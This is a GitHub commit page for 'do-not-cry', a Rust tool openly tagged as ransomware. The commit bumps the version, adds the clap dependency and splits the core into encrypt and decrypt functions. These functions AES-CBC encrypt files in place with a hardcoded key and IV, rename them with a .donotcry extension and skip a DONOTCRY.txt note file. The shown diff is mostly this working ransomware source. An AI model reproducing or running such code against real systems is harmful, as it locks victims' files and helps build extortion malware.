Skip to content

Commit 6bc7ec3

Browse files
committed
refactor: move from std args to clap
1 parent 82d135e commit 6bc7ec3

4 files changed

Lines changed: 293 additions & 63 deletions

File tree

Cargo.lock

Lines changed: 200 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Cargo.toml

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,10 @@
22
name = "do-not-cry"
33
authors = ["RotrixX <rotrixxlol@gmail.com>"]
44
description = "Encrypt and decrypt directories/files using Aes cipher. When encrypting, DONOTCRY.txt file will be created and all files will have .donotcry extension."
5-
version = "1.3.0"
5+
version = "1.4.0"
66
edition = "2021"
77
license = "GPL-3.0-or-later"
8-
repository = "https://github.com/RotrixLOL/ransom-rs"
8+
repository = "https://github.com/RotrixLOL/do-not-cry"
99
readme = "README.md"
1010
keywords = ["ransomware", "encryption", "decryption", "aes-cipher"]
1111
categories = ["command-line-utilities", "cryptography"]
@@ -21,6 +21,7 @@ name = "donotcry"
2121
path = "src/main.rs"
2222

2323
[dependencies]
24+
clap = { version = "4.1.8", features = ["cargo"] }
2425
colored = "2.0.0"
2526
libaes = "0.6.4"
2627
walkdir = "2.3.2"

src/lib.rs

Lines changed: 25 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -2,43 +2,37 @@ use colored::Colorize;
22
use libaes::Cipher;
33
use std::fs;
44

5-
pub fn encrypt_or_decrypt(filename: &str, action: &str) -> bool {
5+
pub fn encrypt(filename: &str) {
66
// TODO: generate randomly key and iv on encrypt, then show it or send an email. when decrypting ask for it.
77
let key = b"fTjWmZq4t7w!z%C*";
88
let iv = b"+MbQeThWmZq4t6w9";
99

1010
let cipher = Cipher::new_128(key);
1111

12-
match action {
13-
"encrypt" => {
14-
if !filename.contains("DONOTCRY.txt") {
15-
let msg = format!("[*] Encrypting {}", filename);
16-
println!("{}", msg.green());
17-
18-
let encrypted = cipher.cbc_encrypt(iv, &fs::read(filename).unwrap());
19-
fs::write(filename, encrypted).unwrap();
20-
let new_filename = format!("{}.donotcry", filename);
21-
fs::rename(filename, new_filename).unwrap();
22-
}
23-
}
24-
25-
"decrypt" => {
26-
if !filename.contains("DONOTCRY.txt") {
27-
let msg = format!("[*] Decrypting {}", filename);
28-
println!("{}", msg.green());
29-
30-
let decrypted = cipher.cbc_decrypt(iv, &fs::read(filename).unwrap());
31-
fs::write(filename, decrypted).unwrap();
32-
let new_filename = filename.replace(".donotcry", "");
33-
fs::rename(filename, new_filename).unwrap();
34-
}
35-
}
36-
37-
_ => {
38-
println!("{}", "[-] Invalid action!".red());
39-
return false;
40-
}
12+
if !filename.contains("DONOTCRY.txt") {
13+
let msg = format!("[*] Encrypting {}", filename);
14+
println!("{}", msg.green());
15+
16+
let encrypted = cipher.cbc_encrypt(iv, &fs::read(filename).unwrap());
17+
fs::write(filename, encrypted).unwrap();
18+
let new_filename = format!("{}.donotcry", filename);
19+
fs::rename(filename, new_filename).unwrap();
4120
}
21+
}
22+
23+
pub fn decrypt(filename: &str) {
24+
let key = b"fTjWmZq4t7w!z%C*";
25+
let iv = b"+MbQeThWmZq4t6w9";
4226

43-
true
27+
let cipher = Cipher::new_128(key);
28+
29+
if !filename.contains("DONOTCRY.txt") {
30+
let msg = format!("[*] Decrypting {}", filename);
31+
println!("{}", msg.green());
32+
33+
let decrypted = cipher.cbc_decrypt(iv, &fs::read(filename).unwrap());
34+
fs::write(filename, decrypted).unwrap();
35+
let new_filename = filename.replace(".donotcry", "");
36+
fs::rename(filename, new_filename).unwrap();
37+
}
4438
}

0 commit comments

Comments
 (0)